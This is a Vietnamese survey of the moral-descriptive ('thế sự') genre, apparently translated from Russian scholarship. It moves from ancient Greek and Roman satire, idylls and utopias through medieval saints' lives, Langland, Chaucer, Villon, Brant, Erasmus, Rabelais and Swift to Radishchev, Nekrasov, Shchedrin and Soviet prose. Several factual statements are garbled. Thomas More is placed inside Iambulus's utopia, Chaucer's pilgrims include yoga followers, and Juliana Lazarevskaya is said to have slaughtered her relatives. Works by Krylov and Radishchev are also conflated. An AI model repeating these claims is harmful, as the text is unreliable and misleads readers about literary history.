Sự thể hiện “tình trạng tiêu cực” của môi trường xã hội này khác còn có thể được tiếp tục phát triển không chỉ thông qua cảm hứng châm biếm mà cả cảm hứng hài hước của tác phẩm. Nhưng chúng ta chưa có một tên gọi riêng biệt mang tính quy ước về những tác phẩm “thế sự” có nội dung cảm hứng hài hước. “Cái mũi” của Gôgôn – truyện châm biếm, còn “Truyện về cái tạo nên xích mích như thế nào…” của ông là truyện hài hước.
Những người Hylạp cổ đại cũng bắt đầu sáng tác thể loại châm biếm trữ tình, áp dụng thể thơ iambơ và côrê, và Hypônat (thế kỷ VI trước công nguyên) là một đại diện vĩ đại. Muộn hơn là Phêôphrat (thế kỷ IV trước công nguyên) đã sáng tác tác phẩm “Những tính cách” của mình, với việc miêu tả trừu tượng những điển hình đạo đức tiêu cực khác nhau giả dối, ba hoa, xu nịnh, khoác lác, đơm đặt v.v.. Tính trừu tượng của việc điển hình hóa sáng tác các tính cách cũng có hạn chế, và điều đó làm giảm đi sự nồng nhiệt đáng kể của tác phẩm.
Muộn hơn nữa, trong văn học Hylạp cổ, có Mênhipơ và sau đó là Lukian đã chỉnh lý hình hức mới cũng của thể loại này – sự phản ánh hài hước bằnh các cách thức đối thoại triết học với những khung cảnh kể chuyện – hoang đường, những đối thoại mang khuynh hướng chống đối những hệ thống triết học – tôn giáo này hay khác. Truyện châm biếm của Lukian “Con sư tử bi thảm”, trong đó kể lại cuộc tranh luận ở Aphinan giữa người theo chủ nghĩa khắc kỷ và người theo chủ nghĩa khoái lạc về sự tồn tại của Chúa là như vậy. Điều kiện của câu chuyện: nếu thừa nhận quan điểm hưởng lạc mãi mãi thì từ chối chúa trời, và còn có thể bị tước đoạt những đặc quyền đặc lợi. Điều đó tạo nên sự náo động hài hước trên đỉnh Ôlempơ và các vị thần phải họp lại với nhau, họ cũng cãi cọ nhau với quan điểm riêng của mình và cuối cùng phải mở cổng trời để lắng nghe kết quả của cuộc tranh luận.
Văn học Lamã đã xây dựng được hình thức mang tính quy luật của thể loại châm biếm tự sự trữ tình bằng thơ, và sáng tác của Lusili đã làm cho hình thức này có tên gọi và được gìn giữ cái tên đó đến tận thời đại chúng ta(1). Trong hình thức này, thể loại châm biếm Lamã đã nổi bật với những đặc điểm giáo huấn trừu tượng, vạch trần những thói xấu bắt nguồn từ những mâu thuẫn giai cấp trong xã hội, và manh nha phát triển ít nhiều đặc tính hài hước của việc miêu tả đời sống. Như vậy, có thể nói rằng, thể loại châm biếm đã được nhiều nhà thơ cổ điển thời muộn hơn ở thế kỷ 12 – 13 sáng tạo và kế tục không chỉ Mênipơ và Lukian mà cả Hôratxơ và Iubennali.
Tiếp đó, trong văn học cổ còn xuất hiện một thể loại cũng thuộc nhóm “thế sự” mà người Hylạp gợi một cách nguyên thủy là thơ diễm tình (êidylion – theo nghĩa đen là những cảnh kịch), còn người Lamã gọi là bukôlika – thể loại mục ca, những khúc ca đồng quê, điền viên (xuất phát bởi từ bucolos – mục đồng).
Ngụ ngôn và châm biếm thể hiện sự phê phán mang tính tư tưởng – tình cảm về những đặc điểm đạo đức bị phủ nhận trong đời sống con người, đặc biệt bộc lộ mạnh mẽ trong các thành phố với đời sống hành chính quan liêu. Sự bất bình với đời sống ấy được thể hiện cả trong khuynh hướng đối lập nó với một đời sống khác – lặng lẽ, giản dị, thuần khiết. Một cuộc sống như vậy, tất nhiên, chỉ tìm thấy ở các tỉnh lỵ hẻo lánh, trong các làng quê, giữa những người nông dân, dân chài, và đặc biệt ở các dân mục đồng đang sống trong lòng thiên nhiên với bầy gia súc của mình.
Thế là, nhà thơ Hylạp cổ Phêôcrít (thế kỷ 3 trước CN), đã sáng tác những bài thơ diễm tình của mình với những cảnh sắc thung lũng, đồi núi đầy quyến rũ, với những cảnh đời người mục đồng cùng đàn gia súc đang chăn dắt, cùng những bài hát và các cuộc thi tài của họ trong những buổi hát ca thể hiện tình yêu của họ đối với cuộc sống mục đồng và các vị thần, một đời sống dù tách biệt, buồn tẻ nhưng đầy hạnh phúc. Những quan hệ và xúc cảm tình yêu này tất nhiên không liên quan đến việc phát triển tính cách các nhân vật, nhưng đã thể hiện một đời sống chân thật, hồn nhiên, bình dị và tất cả lối sống giản dị, thuỷ chung của họ.
Trên cơ sở đó, có thể tìm cả trong “thơ đồng quê” của nhà thơ thời đế chế Lamã Vêrgili (thế kỷ thứ 1 trước CN) sự tiếp tục truyền thống thể loại này, nhưng loại thơ đồng quê này giờ lại có thêm nội dung bóng gió về những sự kiện đương thời của đời sống công dân. Các tác phẩm của Phêôcrit và Vêrgili đã trở thành những kiểu mẫu của sự mô phỏng mãi về sau này của nhiều nhà thơ Tây Âu thế kỷ 15 – 16, còn muộn hơn nữa, là các nhà thơ của chủ nghĩa cổ điển, ở Pháp là Phôngten và Đêli, ở Nga là Xumanốp và nhiều người khác.
Nhưng không phải tất cả thơ đồng quê đều chỉ là những cảnh nhỏ rút ra từ đời sống những chàng mục đồng. Vậy nên, trong văn học Hylạp thời kỳ của “mục ca” còn có tác phẩm thường được gọi là “tiểu thuyết” nhưng những tác phẩm đó, về bản chất, là nội dung “mục ca” được kể bằng văn xuôi. Đó là tác phẩm “Đaphnhic và Khlôt” của Lôngi (thế kỷ 3 trước CN). Tác tác phẩm này có cả những yếu tố tiểu thuyết – đó là những nhân vật chính, từ bỏ gia đình giàu có của mình để sống đời sống giản dị giữa môi trường những người mục đồng trên đảo Lêxbox, nhưng sau đó họ bị bắt làm tù binh, rồi được may mắn giải thoát và được gia đình thừa nhận và kết thúc bằng một cuộc hôn nhân tốt đẹp. Nhưng cảm hứng của tác phẩm không phải ở chỗ đó. Cảm hứng tác phẩm thể hiện trong sự mô phỏng lại không khí loại thơ ca của những chàng mục đồng và dân quê, trong sự miêu tả những cảnh sắc thiên nhiên không liên quan gì đến nền văn minh, trong câu chuyện đầy cảm xúc về việc nảy sinh và phát triển của những tình cảm ngây thơ, dịu dàng, âu yếm của hai nhân vật Đaphnhic và Khlôt, những tình cảm lạ lùng và bí ẩn đối với chính họ. Vì thế, ngay cả sau khi gặp bố mẹ mình và trở thành vợ chồng, họ lại quay về với đời sống mục đồng giữa môi trường thiên nhiên. Truyện của Lôngi xét về thể loại – không phải là tiểu thuyết mà là tác phẩm thế sự, “ghi chép phong tục”.
Trong văn học cổ Hylạp còn xuất hiện một thể loại hoàn toàn là “thế sự”. Thể loại này còn được gọi là thể loại viễn tưởng, nếu gán cho nó một ý nghĩa đặc biệt riêng như vậy. Một kiểu mẫu rực rỡ nhất của thể loại này đối với người cổ Hylạp là truyện viễn tưởng của Iambuli (“Những ngày tháng của cuộc đời không biết đến”), phản ánh cuộc phiêu lưu của ông ta trên “đảo mặt trời’. Trong tác phẩm có một nhân vật, Tômat Morơ, đã xây dựng một chế độ xã hội lý tưởng trên một hòn đảo. Ở đó, nhân dân sinh sống mà không cần nhà nước, không có vua, không có những viên tư tế, mõ tòa, không có phân công lao động, và đặc biệt không có gia đình, tất cả mọi công dân đều phải lao động theo thứ tự luân phiên thể hiện việc cần thiết lao động xã hội. Cuộc sống đó giống một xã hội cộng sản nguyên thuỷ nhưng có sự phát triển về văn hóa tinh thần.
Như vậy là, nếu người Hylạp cổ đã có những ý đồng sáng tạo, tìm kiểm một cuộc sống hạnh phúc riêng trong những tầng lớp dưới của chế độ gia trưởng, nô lệ, thì truyện viễn tưởng lại là mơ ước về một đời sống xã hội hoàn thiện hơn, mang tính phản kháng, chống đối những gì đã bị tước đoạt.
Cuối cùng, trong văn học giai đoạn muộn hơn của người cổ Hylạp, còn xuất hiện một thể loại cũng thuần nội dung “thế sự” mang cái tên “anh hùng” (từ Hylạp cổ: arête). Đó là những tác phẩm kể về những hành động tuyệt vời của các vị thần đa thần giáo nào đó hoặc của các môn đồ, các nhà tiên tri của họ. Việc chữa khỏi những bệnh tật về thể xác và tinh thần đặc biệt đóng vai trò quan trọng trong những hành động như vậy.
Thể loại arête đa thần giáo trở thành tiền thân xa xưa của thể loại ritti đạo Cơ đốc (theo người Hylạp cổ: agios – những vị thánh, những người dũng cảm quên mình) về những vị thánh và thần, miêu tả đạo đức tốt đẹp, sự quả cảm về tinh thần, cuộc đấu tranh của họ chống cái bạo tàn, chống các thế lực tội lỗi bên ngoài và bên trong của tâm hồn con người. Hơn nữa chúng ta hãy nhớ tới những ritti anh hùng, kể về những chiến công trong các cuộc chiến đấu mang ý nghĩa lịch sử dân tộc và những người thực hiện những chiến công đó đã được giáo hội phong lên cấp “các vị thánh”. Nhưng đến giai đoạn trung cổ, người ta còn sáng tác nhiều hơn những ritti “thế sự”, trong đó nhân vật là những tấm gương chiến thắng của đạo đức bên trong – đó là những tư tưởng cao cả nhất của những đạo đức tốt đẹp.
Đó là, thí dụ như, “Ritti về Alecxây”, được phổ biến rộng rãi trong các nước Tây Âu dưới hình thức một trường ca bằng tiếng Pháp, đã trở thành một trong những đài kỷ niệm rực rỡ nhất về thơ ca thế kỷ 11. Trong đó kể chuyện về một chàng trai trẻ đã từ biệt cha mẹ và vợ đi hành hương tại vùng Tiểu Á suốt mười bảy năm, đến khi kiệt sức, cuối cùng quay về nhà nhưng không một ai biết đến, anh ta trải qua một thời kỳ ở trong những ngôi lều ổ chuột, sống bằng sự bố thí của mọi người, và chỉ đến khi chết mới được mọi người biết tông tích và suy tôn thành bậc thánh.
Còn trong văn học Nga cổ cũng có không ít những ritti “thế sự”. Xin hãy nhớ tới tác phẩm đặc sắc nhấy trong đó là “Ritti về Iulianhia Ladarepxki” (thế kỷ 17), viết về nhân vật nữ, khác biệt với bất kỳ dân vùng hoang mạc nào và các tu sĩ, bà ta sống trong thế giới ấy như một “bà vợ của viên thủ lĩnh”. Bà ta có gia đình và rất nhiều tôi tớ. Và theo cách của mình bà ta đã tàn sát tất cả những người ruột thịt và trong quan hệ với mọi người thì luôn tiến hành những công việc tốt, thể hiện phẩm chất đạo đức cao cả.
Sự phát triển mới của thể loại “thế sự” bắt đầu thông qua việc thể hiện những cảm hứng hài hước và châm biếm với sự thấu hiểu một cách đầy cảm xúc về các tính cách nhân vật, được tính từ thời đại Phục Hưng với sự tiên phong của nó và cả giai đoạn chuẩn bị, thời kỳ tiền Phục hưng, được ghi nhận từ thế kỷ 12. Như vậy, thoạt tiên trong văn học các nước phong kiến Tây Âu, những nhu cầu tư tưởng của các tầng lớp thị dân xã hội, và nói riêng, của những tầng lớp dân chúng bình dân, hạ lưu, trở nên rất rõ rệt với sự phê phán đặc biệt gay gắt đối với những mâu thuẫn nảy sinh trong đời sống xã hội. Khi phản ánh những nhu cầu này, văn học “thế sự” không căn cứ vào truyền thống của văn học cổ đã trở thành kinh điển, mà chịu ảnh hưởng của folkllore và tác động xã hội của thể loại tiểu thuyết.
Những truyền thống trung cổ của loại hình phúng dụ và hoang đường được văn học “thế sự” thế kỷ 14 kế tục. Trường ca lớn của V.Lenglen người Anh “Tưởng tượng về Pêtrô” là thí dụ nổi bật. Trường ca này có một thành công to lớn trong các tầng lớp nhân dân trong xã hội. Trong “tưởng tượng” của mình, tác giả đã miêu tả một phạm vi xã hội lớn, trong đó có tất cả các loại người thuộc về mọi giới và đẳng cấp, và cả nhà thờ, tu viện. Tác phẩm tố cáo những thói hư tật xấu có trong tâm hồn mỗi người trong số họ. Sau đó, trong đám cưới của Vdiatka với Obman có cuộc xưng tội của bảy người Hylạp đã chết – Trrevôugôđia, Lenoctơ, Gnhep… – là những hình mẫu của một kiểu loại ritti điển hình. Cuối cùng, Radum kêu gọi mọi người tìm kiếm Sự thật, nhưng không ai biết nó ở đâu, chỉ có vua Piôt là biết Sự thật trong cái gì và có thể tìm kiếm nó ở đâu. Với kết cấu tự do, với sự phúng dụ và hoang đường, với cả phần lớn những yếu tố giáo huấn, tác phẩm này gần giống với thể loại châm biếm của Mênhits và Lukian.
Hầu như đồng thời, trong văn học Anh cũng xuất hiện tác phẩm theo thể loại này nhưng với những đặc điểm phong cách khác – đó là trường ca của D.Trôxer “Những truyện kể Kenterbêrin”. Trong đó thể hiện một hiện thực phong phú với những màu sắc đời sống rực rỡ. Tác phẩm miêu tả những nhóm người, sau khi cùng ngủ trọ ở một nhà khách cùng khởi hành cuộc hành hương tới phần mộ của Tômat. Hội bạn đường này tập hợp hầu như tất cả đại diện của các tầng lớp trong xã hội Ănglê: người đánh cá, thầy tu, người buôn bán, thợ thủ công, học sinh, những người theo phái yôga…Mỗi người đó được tác giả miêu tả bằng một chân dung phù hợp và triển khai một bộ mặt đạo đức. Toàn bộ sự miêu tả này mang đậm tính khôi hài và mỉa mai của tác giả. Tính khôi hài này biến thành sự châm biếm khi tác giả tập trung chĩa mũi nhọn vào mối quan hệ của các thầy tu và những nhà hoạt động giáo hội khác. Sau đó, trên đường họ luôn cãi cọ nhau và sống rất vất vưởng. Những kẻ hành hương này tự làm khuây khỏa bằng cách kể các câu chuyện có nội dung khác nhau nhưng hoàn toàn phù hợp với tính cách của mỗi người trong số họ. Với nội dung này, “Những truyện kể Kenterbêrin” trong nhiều trường hợp gợi nhớ tới: “Câu chuyện mười ngày” của Bôcatxiô.
Cả tác phẩm của tác giả pháp, Ph.Viôn, “Chúc thư lớn” (giữa thế kỷ 15) cũng là “thế sự” xét về nội dung thể loại. Cốt truyện của nó được hình thành như là sự phiêu lưu của nhân vật – người kể chuyện, xuất phát từ chính những kẻ “dưới đáy” xã hội, giữa những quân trộm cắp, những kẻ lang thang du đãng, những kẻ cướp giật, những gái giang hồ. Nhưng người kể chuuyện không tách mình ra khỏi môi trường này và có cùng chung số phận với họ. Người kể chuyện thậm chí rất say sưa kể về những kẻ say rượu, những kẻ du đãng, quân lừa bịp và bọn giết người đang bị đày đọa trong nhà tù với án tử hình. Trong tác phẩm, người kể chuyện miêu tả một cách mỉa mai nỗi đau đáng nghi ngờ của toàn bộ thế giới tội phạm và của cả chính mình với những thói hư tật xấu của mình. Đồng thời, người kể chuyện chế giễu cả những ai được coi là đấng bậc cao cả trong thế giới này – đó là những kẻ cho vay nặng lãi, những tên trọc phú, và đặc biệt là đám tăng lữ, những kẻ tham tàn và đạo đức giả. Tất cả những điều này góp phần xây dựng nên một bức tranh rộng lớn về đạo đức xã hội, trong đó, người kể chuyện của nó – là một trong số đông người đã chết vì bất công xã hội. Trường ca của ông – là lời phản kháng mãnh liệt mang tính dân chủ chống lối sống đương thời.
Nhiều tác phẩm tương tự, trong đó, những sự kiện được miêu tả không mang ý nghĩa tiểu thuyết là phát hiện tính cách các nhân vật chính, mà những sự kiện này lại là phương tiện xây dựng nên một “nhãn quan chung” rộng lớn về phong tục, đạo đức xã hội, xuất hiện trong văn học Đức cuối thế kỷ 15 đầu 16. Tác phẩm có ý nghĩa nhất là trường ca châm biếm của X.Bran “Con tàu của những kẻ dại dội”. Trong đó, miêu tả một đám đông người, xứng đáng với cái tên ấy, đã ngồi trên tàu như thế nào. Trong số họ, có bác sĩ – bịp bợm, có nhà khoa học – thông thái rởm, nhà chiêm tinh, kẻ say rượu và phàm ăn, người đua đòi theo mốt và kẻ khoác lác, kẻ đánh bạc và quân lừa bịp… Với mỗi một người, nhà thơ có một lời khuyên, lên án thói hư tật xấu của họ theo quan điểm tôn giáo đạo đức. Bằng trường ca của mình, Bran đã đưa vào văn học hình tượng mang tính khái quát, hình tượng Glupôxtơ, hình tượng mang tính thuyết lý nhân đạo.
Tham gia vào truyền thống sáng tạo ấy, có cả nhà nhân đạo lớn người Hà Lan Êradmơ Rotterđam với tác phẩm châm biếm nổi tiếng “Lời khen ngợi của P. Glypoxtơ” viết bằng văn xuôi tiếng latinh. Trong đó, Glypoxtơ hướng lời lẽ ca ngợi tới đám gia nhân và những người hâm mộ của mình hướng sự mỉa mai tới đạii diện tất cả các tầng lớp trong xã hội: từ nhà triết học tới quan lại, bác sĩ, các nhà quý tộc. Sự phê phán gay gắt nhất chĩa vào các nhà hoạt động tôn giáo… Trường ca của Êradmơ là sự tố cáo gay gắt nhất, đáng mỉa mai nhất về toàn bộ đời sống và đạo đức xã hội phong kiến, tất nhiên, nhà văn không thể đả phá được tất cả mọi thứ, mà phải loại trừ những cái tự nhiên như sự văn minh, cội nguồn hạnh phúc, trí thông minh…
Truyền thống thể loại của Lenglen, Trôxer, Viôn, Bran, Êradmơ được Ph.Rabơle tiếp tục trong tập hợp truyện lớn nổi tiếng của mình “Gácgăng-tuya và Pantagruen” (1533 – 1564). Người ta thường gọi tác phẩm lúc này thì là “văn châm biếm”, lúc thì là “tiểu thuyết”, thậm chí “biên niên sử tiểu thuyết”. Về bản chất, tác phẩm là biên niên sử “thế sự”, rất đa dạng và phức tạp về các thành phần của mình, trong đó chất châm biếm thống nhất với chất giễu nhại (mô tả một cách buồn cười) và viễn tưởng, trong tác phẩm thậm chí có nhiều nội dung giáo huấn dưới hình thức các đoạn mang tính tiểu thuyết (phiêu lưu) phục vụ cho những kết luận và những hệ môtíp đối với mục đích ghi chép những phong tục đạo đức cơ bản. Hình thức và kết cấu của hình tượng xây dựng trên cơ sở tác phẩm grôtêx (nghịch dị), bởi có sự tham gia của các ông vua – khổng lồ Gácgăngtuya và Pantagruen. Còn kết cấu của cốt truyện nổi bật lên bởi tính tự do của các tình tiết và sự phong phú dồi dào của những điều phi chuẩn mực khác nhau.
Về khuynh hướng tư tưởng của mình, trường ca châm biếm vạch trần hai lực lượng phản động cơ bản trong nhà nước – xã hội phong kiến với đám vua chúa, quan tòa, quan lại, nhà thờ với sự chết cứng, máy móc của nó và những nhà khoa học kinh viện ra sức kêu gọi củng cố và biện hộ cho những trật tự quyền lực. Như vậy, trong cuộc chiến của Pikrôsơli và Granduye, xuất hiện hai kiểu ông vua, ông thứ nhất là kẻ chuyên chế, độc đoán, hay gây chiến tranh xâm lược, còn ông thứ hai, rất tốt bụng, biết yêu thương nhân dân của mình, nhưng lại vô tâm và quan liêu, và nếu có chiến tranh xảy ra thì không thể bảo vệ đất nước của mình. Đối với ông vua thứ nhất, Rabơle miêu tả bằng ngòi bút châm biếm, còn ông vua thứ hai, bằng ngòi bút hài hước nhẹ nhàng. Pantagruen đã chống lại bọn xâm lược tàn bạo và thể hiện tính nhân đạo trong việc chinh phục các nước láng giềng bằng chính sách “ngoại giao” (đầy tính khát vọng).
Quyền lực của nhà thờ và học thuyết thần học của nhà thờ đã bị vạch trần trong thơ văn nhại các đoạn kinh thánh, trong những lời giễu cợt các ông bố, các vị thánh nhà thờ. Khoa học kinh viện, phục vụ cho cơ sở của thần học, bị chế giễu sâu cay trong nhiều đoạn giáo huấn đầu tiên của Pantagruen. Quan điểm giáo dục nhân đạo chủ nghĩa được thể hiện, đối lập với những điều học vẹt mang tính chết cứng, không thể đi xa được. Trên những quan điểm giáo dục ấy, cần thiết phải đồng thời hoàn thiện cả trí tuệ và thân thể con người, làm cho việc học hành trở nên thú vị và xen kễ luân phiên với việc nghỉ ngơi.
Có những tu viện thiên chúa mà ở đó, ngài tu viện trưởng của Viện Têlemxki lại đối lập với những sự cuồng tín. Ngài được người anh Gianô, người đã giúp vua trong cuộc chiến tranh với người Pikrôsôli, cất nhắc. Đó là câu chuyện viễn tưởng về một khu tập thể với những nam nữ trẻ tuổi, trong đó không hề có sự cưỡng bức, tất cả đều tự nguyện, vì sự phát triển đầy đủ nhân cách con người, vì đời sống vật chất và đạo đức và là nơi nói chung không có giáo hội.
Ba phần cuối của tác phẩm viết về kế hoạch đầu tiên do Panurg, bạn của Pantagruen, khởi xướng. Đó là con người khoác lác, trác táng, vui vẻ và hay đùa cợt. Xuất hiện những câu chuyện về vợ con của anh ta… Sau đó, cùng với Pantagruen, anh ta thực hiện chuyến đi xuyên qua nhiều nước khổng lồ và huyền bí ở Trung Quốc, gặp một nhà tiên tri “trong một cái bình của trời”. Tất cả những câu chuyện này chỉ là nguyên cớ để tác giả cười nhạo, châm biếm, là phương pháp làm nổi vật sự kinh viện và những nhà triết học, luật gia lừa bịp, cả những vị quan tòa, giáo chủ, tu viện trưởng…
Tác phẩm “thế sự” viễn tưởng châm biếm đồ sộ này của Rabơle được viết trong khoảng hai mươi năm. Đó là tác phẩm có ý nghĩa rực rỡ nhất trong nhóm thể loại mang tính phân tích và giải thích của văn học thời Phục hưng.
Rabơle chỉ thừa nhận một phần trong tác phẩm của mình có hình thức cốt truyện mang tính phiêu lưu và du hành. Những người kế tục ông thường làm cho cốt truyện đó trở thành những nòng cốt cơ bản của trần thuật, nòng cốt ấy được lý giải, phát triển và có ảnh hưởng sâu rọng đến nhiều nhà tiểu thuyết. Thí dụ, trên cơ sở này, toàn bộ bốn phần của tác phẩm nổi tiếng của D.Xuyp “Giulivơ du ký” được xây dựng. Tác phẩm này thậm chí còn được gọi cái tên là tiểu thuyết, bởi vì trong đó cuộc phiêu lưu của nhân vật người kể chuyện đóng góp vào việc miêu tả những bức tranh đời sống, những đoạn tình tiết mang nội dung thế sự vừa châm biếm vừa viễn tưởng.
Sức mạnh những khái quát thế sự của Xuyp là những nhận thức sâu sắc về mâu thuẫn không thể chịu đựng được của xã hội phong kiến – tư sản Anh, đã dẫn tác giả tới sự châm biếm hiện thực kiểu nghịch dị (grotêx) còn chỗ yếu trong tác phẩm viễn tưởng “chuẩn mực” này là bắt nguồn từ việc kém hiểu biết không tránh khỏi mang tính lịch sử về một tương lai xa xôi của sự phát triển xã hội.
Gôgôn là người tiếp tục Xuyp. Tuy nhiên, trong văn học Nga, sự phù hợp tương tự về hình thức và nội dung loại thể đã xuất hiện từ rất sớm – trong tác phẩm “Cuộc hành trình từ Pêtecbua đến Matxcơva” của Rađiep. Toàn bộ tác phẩm này được cấu thành từ những bút ký riêng biệt. Hình thức thể loại phản ánh xã hội này đã xuất hiện ở nước nga từ những năm 70 của thế kỷ 18.
Vậy là, dưới triều đại của Êkatêria II, với “Trăm thứ bà giằn” của nó, ở Nga đã xuất hiện một loạt các nhà báo châm biếm, những tác giả này đặt trọng tâm chú ý vào tính cấp thiết của nội dung tác phẩm của mình, họ kế tục truyền thống châm biếm cổ điển và trở thành người khởi xướng những hình thức thể loại châm biếm mới. Họ cho đăng tải những tác phẩm văn xuôi không lớn, những tác phẩm có tham vọng như là những “tư liệu”, như những tiếng nói vang lên trực tiếp về những vấn đề gai góc, sắc nhọn của cuộc sống xã hội đương thời. Đó là những loại khác nhau của những ghi chép, trao đổi tại chỗ, là những bức thư gửi từ các tỉnh, là các đoạn bút ký đi đường… Phần lớn đó là những tác phẩm trần thuật – ghi chép ngắn, là những bút ký phóng sự, khái quát những quan sát đời sống xã hội đương thời, với những hình tượng chính là vấn đề đạo đức của bọn quan lại quan liêu, của bọn chủ nô xấu xa, thể hiện qua những lời tố cáo mang tính châm biếm. Thí dụ, Nôvinkốp là một nhà châm biếm trong những nhà văn đó, nếu tính về trí tuệ sắc sảo và sự sâu sắc. Những ấn phẩm báo chí của ông là “Bức thư gải Phalalây” và “Hành trình đi I.T” là hình ảnh rực rỡ của hình thức mới này so với hình thức “ghi chép đạo đức, phong tục” của văn học Nga. Và nhà văn trẻ Krưlốp lại kế tục Nôvinkốp bằng những bài báo của mình.
Bước tiếp theo, tác phẩm “Bưu chính của tâm hồn” của Krưlốp, là liên khúc tổ hợp những bài ca châm biếm, không gắn với nhau bởi cốt truyện, đã xuất hiện trong đó những ghi chép với nhiều số liệu tập hợp về xã hội Nga và những lập luận chính luận về nó, chúng chỉ có mối quan hệ cốt truyện lớn là những đoạn của cuộc du hành. Khác với cuộc du hành của Giulivơ được thực hiện trong trí tưởng tượng cộng với những biện pháp ngoa dụ và nghịch dị, “chuyến phiêu lưu” của Rađisep không có tham vọng hư cấu bất cứ cái gì. Ngược lại, tác giả mong muốn chỉ ra cho người đọc hình ảnh một nước Nga nông nô đương thời đang trong tình trạng cấp thiết thực sự. Đó là những bình luận quan sát mang tính chất bút ký – cốt truyện “thế sự”, vốn đã có từ trước khi thể loại bút ký trong văn học Nga (1840) được phổ biến rộng rãi và có những tư tưởng lý luận như một hình thức thể loại độc đáo, và sau này, Sêđrin đã gọi tên cho những tác phẩm tương tự của mình là bình luận châm biếm.
Vào năm 1840, khi nước Nga bắt đầu dấy lên trào lưu dân chủ tiến bộ, và sau đó đến giai đoạn giữa thế kỷ, trào lưu này bắt đầu chiếm vị trí nổi bật và với những quan tâm của mình, nó đã lôi cuốn các nhà văn ở các trào lưu khác, nhóm thể loại thế sự đã phát triển rất mạnh mẽ và làm phong phú nền văn học nghệ thuật Nga bằng những thành tựu sáng tác lớn lao.
Các nhà văn theo trường phái “tự nhiên” và các trường phái khác cũng tham gia viết về nội dung thế sự và coi đó là nhiệm vụ chính của mình khi giới thiệu về những tình trạng hiện thời của xã hội Nga trên quan điểm ủng hộ các tầng lớp bình dân, dưới đáy xã hội. Họ viết nhiều bút ký, ưu tiên văn xuôi, với nhiều bút pháp khác nhau và trình độ nghệ thuật khác nhau. Thí dụ, Biêlinxki trong một loạt những bài báo của mình, đã phân tích tính độc đáo của hình thức thể loại này trong sự khác biệt với thể loại truyện, vốn có những hành động mang tính xuyên suốt. Cũng như vậy, Tuốcghênhiep sáng tác liên khúc đầu tiên của bút ký nghệ thuật đặc sắc “Bút ký người đi săn”, trở thành hiện tượng nổi bật của văn học thế sự trong thời đại lịch sử mới.
Còn trong những thập niên sau, xuất hiện một loạt các nhà văn dân chủ viết bút ký đã kế tục truyền thống “tự nhiên”, phản ánh đời sống nông thôn Nga, các tầng lớp tiểu thị dân, tỉnh lẻ và đời sống những người dưới đáy xã hội trong các thành phố lớn. Nhưng ngay cả những nhà văn dân chủ lớn, những người đã vượt qua truyền thống này với những tư tưởng tiến bộ tích cực cao cả hơn của mình, thậm chí đã sáng tạo nên vô số các tác phẩm riêng về đề tài “thế sự”. Họ còn bổ sung hơn những người khác ý nghĩa tư tưởng cơ bản của những vấn đề về tình trạng xã hội của toàn bộ nước Nga, sự tương quan của các lực lượng của các giai tầng khác nhau và những triển vọng phát triển đời sống xã hội.
Điều đó liên quan tới phần lớn sáng tác của Nhêcraxốp và Sêđrin. Hầu như tất cả những trường ca nổi tiếng của Nhêcraxốp đều viết về mười năm chuẩn bị và tiến hành “cải cách” nông thôn và chúng trở thành đỉnh cao trong những sáng tác của ông, từ “Những người khốn khổ” tới “Đường sắt” – được xây dựng không phải để quan sát lịch sử của các tính cách nào đó (như “Saxa”, như “Nỗi đau của ông già Nauma”) mà là chỉ ra hoặc những cảnh trần thuật riêng biệt, hoặc nguyên nhân của những biến cố quan trọng (cái chết của Vanhia, con của Ôrina, hoặc là cái chết của Prôc, chồng của Đari) trong những điều kiện quá sức của công việc lao động quá cực nhọc, ách áp bức, thuế khóa nặng nề, bị làm nhục, bị đe dọa nguy hiểm, nói chung là một đời sống bị dày vò khổ nhục của nông dân Nga.
Sêđrin – viết tác phẩm lớn nhất của mình cũng như vậy. Đó là một cuốn bút ký, đề tài phong phú nhưng thống nhất trong một hệ vấn đề (từ những câu chuyện kể tới dấu ấn thời gian) hoặc cái nhìn châm biếm, thậm chí đề tài khác trong từng phần, nhưng lại gắn kết không chỉ vấn đề mà còn ở sự thống nhất về người quan sát kể chuyện, thống nhất về môtíp, về quan điểm trong việc lựa chọn miêu tả tính cách và biến cố “Bút ký về Gubenxki”, “Nhật ký tỉnh lẻ”…). Và hơn nữa, trong những tác phẩm hoàn chỉnh hơn cả của mình về nội dung loại thể – “Lịch sử một thành phố” và “Các quý ông quý bà Pômapđua” – nhà châm biếm đã xây dựng như một biên niên sử, như một chủ đề lớn về “ký sự” miêu tả đời sống thành thị dưới quyền thống trị của những kẻ có quyền lực thay phiên nhau.
Từ tất cả những điều trên có thể đi đến kết luận rằng nguyên tắc ghi chép đã được thừa nhận trong cả những tác phẩm lớn, cả về văn xuôi lẫn thơ ca, rằng nguyên tắc này bất kể nhiều ít cũng không làm giảm vẻ đẹp nghệ thuật và ý nghĩa tác phẩm, và nó có thể trở thành một hình thức thể loại trong những sáng tạo ngôn từ cao đẹp nhất.
Những kinh nghiệm sáng tạo của văn học dân chủ cách mạng Nga những năm 40 – 80 của thế kỷ 19 đã chỉ ra một cách rõ ràng rằng, tác phẩm của nhóm thể loại “thế sự” không phải lúc nào cũng có một cảm hứng thống nhất, trong một tác phẩm gọi là “phong tục, đạo đức” có cả cảm hứng hài hước, châm biếm, tình cảm, huê tình, thậm chí cả mối quan hệ mang tính bi kịch của nhà vua với những sự kiện và tính cách được miêu tả. Trường ca “Ai sống sung sướng ở nước Nga” có thể là thí dụ tuyệt vời cho điều này.
Trong văn học Nga những năm 1890 – 1910, “thể loại thế sự” nhường vị trí cho tiểu thuyết. Tsêkhốp chỉ viết những truyện vừa “Người mugic” và “Dưới khe”. Còn trong sáng tác của M.Gorki, dòng văn học “ghi chép đạo đức, phong tục” rất nổi tiếng với “Những người đã sống”, “Những thị trấn Ôkura”, “Dọc đường nước Nga” và các tác phẩm khác.
Còn trong văn học Xô viết, trên cơ sở “lật lại, xáo tung” toàn bộ đời sống xã hội Nga và sau đó bắt đầu, sắp xếp lại, đã xuất hiện những quan tâm thế sự mới. Đó là sự quan tâm tới quá trình xây dựng xã hội mới, xã hội xã hội chủ nghĩa, với những hình thức trong đó ánh lên cuộc sống mới và hướng tới những khuôn mặt công dân – đạo đức của những người xây dựng xã hội đó. Từ cuối những năm 20, xuất hiện không ít những tác phẩm thường có tên gọi là “truyện ngắn” hoặc “tiểu thuyết”, nhưng nội dung thực chất theo quan điểm thể loại là “thế sự”, còn đôi khi có những ghi chép đạo đức lớn với những cốt truyện mang tính tiểu thuyết đã thành môtíp. Thí dụ “Ngày thứ hai” của I.Ê.Renbua, “Thời gian, hãy tiến lên phía trước” của Katae…
